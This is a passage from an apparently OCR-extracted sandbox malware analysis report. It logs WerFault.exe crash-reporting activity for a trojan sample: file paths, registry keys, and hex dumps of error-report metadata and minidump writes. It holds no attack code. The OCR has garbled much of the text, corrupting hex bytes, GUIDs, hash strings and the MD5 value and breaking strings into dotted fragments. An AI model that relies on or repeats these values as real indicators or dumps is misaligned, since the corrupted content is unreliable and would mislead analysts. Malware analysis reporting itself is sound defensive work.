3.5.9.". .P.l. '7.1.4.0.".
.U.p.timeM.S.="6.7.1."
.T..m.e.S.i.n.ce.Cre.a.t.

i.o.n.M.S.=".6.7.1.". .S.u.s.
p.e.n.d.e.d.M.
.H.a.n.g.C.o.u.n.
.G.h.o.s.t.C.o.u.n.t.
.Cras.hed=

<./.P.ro.c.e.s.s.>.

<./.P.ro.c.e.s.s.T.i.m.e.li
n.e.s.>.

<.R.e.p.o.rt.l.nform.a.t.
i.o.n.>.

Source

Completion Count Address

success or wait 1 6E25497A
success or wait 2 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 2 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 1 6E25497A
success or wait 2 6E25497A

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD718.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length
98

4

2

98

40

40

Value

3c 00 47 00 75 00 69
00 64 00 3e 00 64 00
34 00 62 00 33 00 65
00 66 00 38 00 37 00
2d 00 63 00 65 00 33
00 62 00 2d 00 34 00
340031 00 30 00 2d
00 38 00 61 00 39 00
3500 2d 00 39 00 63
00 39 00 61 00 37 00
61 00 31 00 66 00 62
00 63 00 65 00 32 00
3c 00 2f 00 47 00 75
00 69 00 64 00 3e 00

0d 00 0a 00

09 00

3c 0043 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00
32 003000320031
00 2d 00 30 00 32 00
2d 00 32 00 33 00 54
00 31 00 38 00 3a 00
3000 32 00 3a00 33
00 37 00 5a 00 3c 00
2f 00 43 00 72 00 65
00 61 00 74 00 69 00
6f 00 6e 00 54 00 69
00 6d 00 65 00 3e 00

0d 00 0a 00

09 00

3c 00 2f 00 52 00 65
00 70 00 6f 00 72 00
74 00 49 00 6e 00 66
00 6f 00 72 00 6d 00
61 00 74 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

3c 00 2f 00 57 00 45
00 52 00 52 00 65 00
7000 6f 00 72 00 74
00 4d 00 65 00 74 00
61 00 64 00 61 00 74
00 61 00 3e 00

Ascii Completion

<.G.u.i.d.>.d.4.b.3.e.£.8.7.-. success or wait
c.e.3.b.-4.41.0.-.8.2.9.5.-.
9.c.9.a.7.a.1.f.b.ce.2.

<./.G.u.i.d.>.

success or wait

success or wait

<.C.re.a.ti.o.n.T..m.e.>.2. success or wait
0.2.1.-.0.2.-.2.3.T.1.8...0.2.
1.3.7.Z</.Cre.atio.n.T.

i.m.e.>.

success or wait

success or wait

<./.R.e.p.o.r.tlnfo.rm.a. success or wait
tio.n.>.

success or wait

<./W.E.R.R.e.p.o.r.t. M.e.t. success or wait
a.d.ata.>.

Source

Count Address Symbol

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown

6E25497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERD93C.tmp.xml

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_0792dded\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_0792dded\Report.wer

C:\ProgramData\Microsoft\Windo
ws\WER\ReportQueue\AppCrash_Se
curitelnfo.com_ed254a492c4061e
€93311a4cb68fc7f99a8fd229 bd6d4f40_0792dded\Report.wer

Registry Activities

Key Created

Key Path

\REGISTRY\A\{80c1d48d-18e7-3e08-ea5h-5eaae777c0d8}\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{80c1d48d-18e7-3e08-ea5h-5eaae777c0d8}\Root\InventoryApplicationFile\PermissionsCheckTestKey
\REGISTRY\A\{80c1d48d-18e7-3e08-ea5h-5eaae777c0d8}\Root\InventoryApplicationFile\PermissionsCheckTestKey

Offset
unknown 4746

unknown 2

unknown 22

unknown 44

Length Value

3c 3f 78 6d 6¢ 20 76

65 72 73 69 6f 6e 3d

22 31 2e 30 22 20 65
6e 63 6f 64 69 6e 67

3d 22 55 54 46 2d 38
222073 74 61 6e 64
61 6¢ 6f 6e 65 3d 22

79 65 73 22 3f 3e 0d

0a 3c 72 6571 20 76
6572 3d 22 32 22 3e
0d 0a 20 20 3c 74 6¢
6d 3e 0d Oa 20 20 20
203c 737263 3e 0d
0a 20 20 20 20 20 20
3c 64 65 73 63 3e 0d
0a 20 20 20 20 20 20
2020 3c 6d 61 63 68
3e 0d 0a 20 20 20 20
2020 20 20 20 20 3c
6f 73 3e 0d 0a 20 20

2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 61 6a 22 20 76
61 6¢ 3d 22 31 30 22
20 2f 3e 0d Oa 20 20
2020 20 20 20 20 20
2020203c 617267
20 6e 6d 3d 22 76 65
72 6d 69 6e 22 20 76
61 6¢ 3d 22 30 22 20
2f 3e 0d Oa 20 20 20
2020 20 20 20 20 20
2020 3c 617267 20
6e 6d 3d 22 76 65 72
62 6¢ 64 22 20 76 61
6¢ 3d 22

ff fe

56 00 6500 72 00 73
00 69 00 6f 00 6e 00
3d 00 31 00 0d 00 Oa
00

4d 00 65 00 74 00 61
00 64 00 61 00 74 00
61 00 48 00 61 00 73
00 68 00 3d 00 38 00
3500 37 00 38 00 37
00 31 00 32 00 38 00
3100

Source

Ascii Completion Count Address Symbol

<?xml version="1.0" success or wait 1 6E25497A unknown
encoding="UTF-8"
standalone="yes"?>..<req
ver="2">. <tlm>.. <src>

<desc>..
<mach>..
<arg nm="vermaj" val="10"
/>.. <arg
nm="vermin" val="0" />..

<arg nm="verbld" val="

<0s>..

success or wait 1 6E25497A unknown

V.ers.i.o.n=1... success or wait 168 6E25497A unknown

M.e.ta.d.a.t.a.H.a.s.h.=.8.
5.7.8.7.1.2.8.1.

success or wait 1 6E25497A unknown

Source
Completion Count Address Symbol
success or wait 1 6E2736BF unknown
success or wait 1 6E2736BF unknown
success or wait 1 6E2543D1 unknown

Analysis Process: WerFault.exe PID: 6312 Parent PID: 7140

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright null 2021

10:02:43

23/02/2021

C:\Windows\SysWOW64\WerFault.exe

true

C:\Windows\SysWOW64\WerFault.exe -u -p 7140 -s 908

0xe40000

434592 bytes

Page 148 of 245



MDS5 hash: 9E2BBACAD48ECCAS55C0230D63623661B

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\DBG read data or list device directory file | object name collision 1 701C1717 unknown
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF638.tmp read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF638.tmp.dmp read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD4D.tmp read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD4D.tmp.WERInt read attributes | device synchronous io  success or wait 1 701B497A unknown
ernalMetadata.xml synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A.tmp read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read directory file
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A.tmp.xml read attributes | device synchronous io  success or wait 1 701B497A unknown
synchronize | non alert | non
generic read | directory file
generic write
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read data or list device directory file | success or wait 1 701B497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d directory | synchronous io
4f40_18fb03b5 synchronize non alert | open
for backup ident
| open reparse
point
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Se read attributes | device synchronous io  success or wait 1 701B497A unknown
curitelnfo.com_ed254a492c4061ee93311a4ch68fc7f99a8fd229 bd6d synchronize | non alert | non
4f40_18fb03b5\Report.wer generic write directory file
File Deleted
Source
File Path Completion Count Address Symbol
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF638.tmp success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD4D.tmp success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A.tmp success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF638.tmp.dmp success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A.tmp.xml success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WERAC.tmp.csv success or wait 1 701B497A unknown
C:\ProgramData\Microsoft\Windows\WER\Temp\WER33D.tmp.txt success or wait 1 701B497A unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
C:\ProgramData\Microsoft\Windo unknown 32 4d 44 4d 5093 a7 ee  MDMP........ ....... (G5 p— success or wait 1 701B497A unknown
ws\WER\Temp\WERF638.tmp.dmp a0 0f 00 00 00 20 00
00 00 00 00 00 00 46
43 35 60 a4 05 12 00
00 00 00 00
C:\ProgramData\Microsoft\Windo unknown 6 000000000000 ... success or wait 1 701B497A unknown

ws\WER\Temp\WERF638.tmp.dmp
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 1420

unknown 716

00 00 06 00 07 55 04
01 0a 00 00 00 00 00
00 00 ee 42 00 00 02
00 00 00 58 1e 00 00
00 01 00 00 47 65 6e
75 69 6e 65 49 6e 74

65 6¢ 57 06 0500 fffh .

8b 1f 00 00 00 00 54
05 00 00 7 03 00 00
e4 1b 00 00 30 43 35
60 00 00 00 00 00 00
00 00 93 08 00 00 93
08 00 00 93 08 00 00
01 00 00 00 01 00 00
00 00 30 00 00 32 00
00 00 00 00 00 00 01
00 00 00 e0 01 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
20 00 53 00 74 00 61
00 6e 00 64 00 61 00
7200 64 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Ob 00 00 00
01 00 02 00 00 00 00
00 00 00 00 00 00 00
50 00 61 00 63 00 69
00 66 00 69 00 63 00
2000 44 00 61 00 79
00 6¢ 00 69 00 67 00
68 00 74 00 20 00 54
00 69 00 6d 00 65 00
00 00 00 00 00 00 00
00 00

7f 00 01 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aa aa aaaaaaaa
aaaaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 62 6f 72 74 1c
fb b8 02 00 00 00 00
00 00 40 00 62 6f 72
74 00 00 00 00 28 fb
b8 02 62 6f 72 74 23
00 00 00 46 02 01 00
Oc fb b8 02 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

..... Ui Bi X
..GenuinelntelW.

........... 0.2,
P.a.
.T.i.m.e..

.D.a.y.li.g.ht. .T.
im.e......

@.bort....

fic..S.ta.ndard.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 168

unknown 20

unknown 256

c0 13 00 00 00 00 00
00 05 00 00 c0 00 00
00 00 00 00 00 00 00
00 00 00 62 6f 72 74
00 00 00 00 02 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 ff ff
ff ff ff ff ff ff 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 cc 02 00 00
10 24 00 00

39 00 00 00 e2 6e 72
74 00 00 00 00 00 01
00 00 d0 40 00 00

00 8a 6f 04 00 44 00
61 00 74 00 61 00 00
00 23 00 00 00 06 4b
95 04 00 4e 00 61 00
6d 00 65 00 00 00 05
01 08 00 45 00 6e 00
64 00 70 00 6f 00 69
00 6e 00 74 00 02 0d
01 00 10 04 41 ff ff 3f
00 00 00 8a 6f 04 00
4400 61 00 74 00 61
00 00 00 27 00 00 00
06 4b 95 04 00 4e 00
61 00 6d 00 65 00 00
00 05 01 0a 00 50 00
61 00 63 00 6b 00 65
00 74 00 53 00 69 00
7a 00 65 00 02 0d 02
00 07 04 41 ff ff 39 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 21 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
0501 07 00 41 00 64
00 64 00 72 00 65 00
7300 73 00 02 0d 03
00 Oe 04 41 ff ff 33 00
00 00 8a 6f 04 00 44
00 61 00 74 00 61 00
00 00 1b 00 00 00 06
4b 95 04 00 4e 00 61
00 6d 00 65 00 00 00
05 01 04 00 50 00 6f
00 72 00 74 00 02 0d
04 00 06 04 41 ff ff

..o.Data.#..K.Nam.

e.....E.nd.p.oi.nt.....
A.?..o.Data.. .. .K..

N.a.m.e......P.a.ck.e.tS.i.

ze....A.9...o0.Data.

J.KiName...Ad.d.

res.s.....A.3...o.D.at

K..N.a.m.e....... 28

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

1

57

56

701B497A unknown

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

Copyright null 2021

Offset Length Value

unknown 572

unknown 4

unknown 716

unknown 48

unknown 4

bc bl e5 77 d6 c9 e3
77 ac 00 00 00 aa aa
aa aa 10 00 00 00 58

fee30024ffe300aa ...

aaaaaa40c7e377
40 c7 e3 77 aa aa aa
aa 00 00 2c 00 00 00
2c 00 00 00 00 00 ac
00 00 00 aa aa aa aa
ac 00 00 00 aa aa aa
aa 00 00 2c 00 00 00
00 00 00 00 00 00 00
00 00 00 aa aa aa aa
aa aa aa aa 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 aa aa aa aa 00 00
00 00 00 00 00 00 00
00 00 00 30 1b ba 00
00 00 00 00 00 00 00
00 fO 6b b4 00 00 70
2b 00 10 00 00 00 aa
aa aa aa 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 aa aa
aa aa 00 00 00 00 aa
aa aa aaaaaaaaaa
90 fe 6d 02 90 fe d3
00 98 fe 6d 02 98 fe
d3 00 00 00 00 00 aa
aa aa aa aa aaaaaa
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00

08 00 00 00

3f 00 01 00 00 00 00

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
aa aaaa aaaaaaaa
aa aa aa aaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aa aa aaaaaaaaaa
aa aaaaaaaaaaaa
aa aa aa aaaaaaaa
aa aaaaaaaaaaaa
2b 00 00 00 53 00 00
00 2b 00 00 00 2b 00
00 00 00 00 00 00 80
7b fO 77 00 00 00 00

00 00 00 00 00 00 00
00 00 00 00 00 78 9e
1900 2c 95 e5 77 23
00 00 00 02 02 00 00
58 9e 19 00 2b 00 00
00 aa aa aa aa aa aa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaaaaaaaaaa
aa aaaa aaaaaaaa
aa aa aa aa aaaaaa
aaaaaa

48 1b 00 00 01 00 00
00 20 00 00 00 00 00
00 00 00 fO 2c 00 00
00 00 00 94 fb c8 02
00 00 00 00 6¢ 04 00
00 bc e5 00 00 cc 02
00 00 70 3a 00 00

2d 00 00 00

Source

Ascii Completion Count Address Symbol
W W X..$..... success or wait 1 701B497A unknown
.@.Ww@..w.

success or wait 8 701B497A unknown
e success or wait 8 701B497A unknown
success or wait 1 701B497A unknown
- success or wait 45 701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

Copyright null 2021

Offset Length

unknown 106

unknown 120

unknown 60

unknown 668

Value

64 00 00 00 53 00 65
00 63 00 75 00 72 00
69 00 74 00 65 00 49
00 6e 00 66 00 6f 00
2e 00 63 00 6f 00 6d
00 2e 00 54 00 72 00
6f 00 6a 00 61 00 6e
00 2e 00 47 00 65 00
6e 00 65 00 72 00 69
00 63 00 4b 00 44 00
5a 00 2e 00 37 00 33
00 31 0032 00 34 00
2e 00 31 00 39 00 31
00 37 00 30 00 2e 00
65 00 78 00 65 00 00
00

00 00 cf 75 00 00 00
00 00 70 00 00 07 dc
00 00 28 63 3e 35 a2
2300 00 bd 04 ef fe
00 00 01 00 00 00 0a
00 01 00 ee 42 00 00
0a 00 01 00 ee 42 3f
00 00 00 00 00 00 00
04 00 04 00 03 00 00
00 06 00 00 00 00 00
00 00 00 00 00 00 20
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 40 45 00 00 00 00
00 00 00 00 00 00 00
00 00 00 Oc 00 00 00
18 00 00 00 02 00 00
00

36 00 00 00 4f 00 6e
00 44 00 65 00 6d 00
61 00 6e 00 64 00 43
00 6f 00 6e 00 6e 00
52 00 6f 00 75 00 74
00 65 00 48 00 65 00
6¢ 00 70 00 65 00 72
00 2e 00 64 00 6¢ 00
6¢ 00 00 00

00 00 c3 73 00 00 00
00 00 00 03 00 a8 c2
0300 d1 2a 2c e3 f2
2300 00 01 00 0f 00
5a 62 02 00 00 10 00

00 fb fe 0f 00 01 00 00

00 ff ff 13 00 00 00 01
00 00 00 01 00 00 00
00 00 ff ff fe 7f 00 00
00 00 0f 00 00 00 00
00 00 00 04 00 00 00
00 a0 92 02 00 00 00
00 00 b0 c8 02 00 00
00 00 85 4d 01 00 00
01 00 00 00 00 00 00
ff ff ff ff 00 00 00 00 a8
80 03 00 00 00 00 00
718203 0000 0000
00 00 00 00 00 00 00
00 00 93 45 1b 00 00
00 00 00 ad b9 04 00
00 00 00 00 40 ff 1f 00
00 00 00 00 b7 f8 04
00 00 00 00 00 02 9b
a0 8a 00 00 00 00 1d
8c 82 16 00 00 00 00
Oa 11 27 0d 00 00 00
00 5d 3c f9 00 00 00
00 00 9e 9f 00 00 cO ef
00 00 cb 2c 05 00 ad
d7 0a 00 ad b9 04 00
fb 7e 15 00 b7 f8 04
00 3d 9c 21 00 74 42
01 00 af c4 11 00 00
00 00 00 2f 75 0f 00
c0 8b 04

d..S.e.curite.l.nfo..
c.o.m...T.r.oj.an..G.e.n.e.
ri.c.K.D.Z..7.3.1.2.4...1.9.

6...0.n.D.e.m.a.n.d.C.0.n.n success or wait
.R.o.ute.H.elp.e.r.d.ll.

Source

Count Address Symbol

701B497A unknown

701B497A unknown

701B497A unknown

701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERF638.tmp.dmp

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset
unknown 13500

unknown 120

unknown 2

unknown 78

unknown 4

unknown 38

unknown 4

unknown 2

Length Value

0a 00 00 00 45 00 76
00 65 00 6e 00 74 00
00 00 00 00 00 00 06
00 00 00 08 00 00 00
01 00 00 00 00 00 00
00 28 00 00 00 57 00
61 00 69 00 74 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 50 00
61 00 63 00 6b 00 65
00 74 00 00 00 18 00
00 00 49 00 6f 00 43
00 6f 00 6d 00 70 00
6¢ 00 65 00 74 00 69
00 6f 00 6e 00 00 00
1e 00 00 00 54 00 70
00 57 00 6f 00 72 00
6b 00 65 00 72 00 46
00 61 00 63 00 74 00
6f 00 72 00 79 00 00
00 Oe 00 00 00 49 00
52 00 54 00 69 00 6d
00 65 00 72 00 00 00
28 00 00 00 57 00 61
00 69 00 74 00 43 00
6f 00 6d 00 70 00 6¢
00 65 00 74 00 69 00
6f 00 6e 00 50 00 61
00 63 00 6b 00 65 00
74 00 00 00 Oe 00 00
00 49 00 52 00 54 00
69 00 6d 00 65 00 72
00 00 00 28 00 00 00
57 00 61 00 69 00 74
00 43 00 6f 00 6d 00
7000 6¢

03 00 00 00 84 01 00
00 08 07 00 00 04 00
00 00 00 13 00 00 98
08 00 00 Oe 00 00 00
3c 00 00 00 98 1b 00
00 05 00 00 00 94 03
00 00 3c 3d 00 00 06
00 00 00 a8 00 00 00
60 06 00 00 07 00 00
00 38 00 00 00 d4 00
00 00 Of 00 00 00 54
05 00 00 Oc 01 00 00
0c 00 00 00 10 23 00
00 bc 5f 01 00 15 00
00 00 ec 01 00 00 d4
1b 00 00 16 00 00 00
98 00 00 00 c0 1d 00
00

ff fe

3c 00 3f 00 78 00 6d

00 6¢ 00 20 00 76 00
6500 72 00 73 00 69
00 6f 00 6e 00 3d 00

2200 3100 2e 00 30
00 22 00 20 00 65 00
6e 00 63 00 6f 00 64
00 69 00 6e 00 67 00
3d 00 22 00 55 00 54
00 46 00 2d 00 31 00
36 00 22 00 3f 00 3e

00

0d 00 0a 00

3c 00 57 00 45 00 52
00 52 00 65 00 70 00
6f 00 72 00 74 00 4d
00 65 00 74 00 61 00
64 00 61 00 74 00 61
00 3e 00

0d 00 0a 00

09 00

Source

Ascii Completion Count Address Symbol
LEvento success or wait 1 701B497A unknown
(...W.a.i.t.C.o.m.p.l.e.
tio.n.P.a.cke.t....lo.
C.o.m.p.l.e.ti.o.n.....T.p.
W.o.rk.er.Fa.cto.ry...
LLR.Timee.r..(..W.a.it.
C.o.m.p.l.e.ti.o.n.P.a.ck.e.
te..LRT.iim.e.r..(.W.
a.i.t.C.o.m.p.l
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
<.?x.m.l. .v.ers.i.o.n.=". success or wait 1 701B497A unknown
1..0.". .e.n.c.0.d.i.n.g.=.".
UT.F.-16."2>.
success or wait 1 701B497A unknown
<W.E.R.R.e.p.o.r.t.M.e.t.a. success or wait 1 701B497A unknown
data>.
success or wait 1 701B497A unknown
success or wait 1 701B497A unknown
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File Path

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windo
ws\WER\Temp\WERFD4D.tmp.WERInternalMetadata.xml

Copyright null 2021

Offset

unknown 44

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 40

unknown 4

unknown 2

unknown 82

unknown 4

unknown 2

unknown 62

unknown 4

unknown 2

Length Value

3c 00 4f 00 53 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 49
00 6e 00 66 00 6f 00
72 00 6d 00 61 00 74
00 69 00 6f 00 6e 00
3e 00

0d 00 0a 00

09 00

3c 00 57 00 69 00 6e
00 64 00 6f 00 77 00
73 00 4e 00 54 00 56
00 65 00 72 00 73 00
69 00 6f 00 6e 00 3e
00 31 00 30 00 2e 00
30 00 3c 00 2f 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 4e
00 54 00 56 00 65 00
72 00 73 00 69 00 6f
00 6e 00 3e 00

0d 00 0a 00

09 00

3c 0042 00 75 00 69
00 6¢ 00 64 00 3e 00
31003700 310033
00 34 00 3c 00 2f 00
4200 75 00 69 00 6¢
00 64 00 3e 00

0d 00 0a 00

09 00

3c 00 50 00 72 00 6f
00 64 00 75 00 63 00
74 00 3e 00 28 00 30
00 78 00 33 00 30 00
29 00 3a 00 20 00 57
00 69 00 6e 00 64 00
6f 00 77 00 73 00 20
00 31 00 30 00 20 00
50 00 72 00 6f 00 3¢
00 2f 00 50 00 72 00
6f 00 64 00 75 00 63
00 74 00 3e 00

0d 00 0a 00

09 00

3c 00 45 00 64 00 69
00 74 00 69 00 6f 00
6e 00 3e 00 50 00 72
00 6f 00 66 00 65 00
7300 73 00 69 00 6f
00 6e 00 61 00 6¢ 00
3c 00 2f 00 45 00 64
00 69 00 74 00 69 00
6f 00 6e 00 3e 00

0d 00 0a 00

09 00

Ascii Completion Count
<.0.S.V.ers.i.o.nlnfo.r. success or wait 1
m.a.t.i.o.n.>.
success or wait 1
success or wait 2
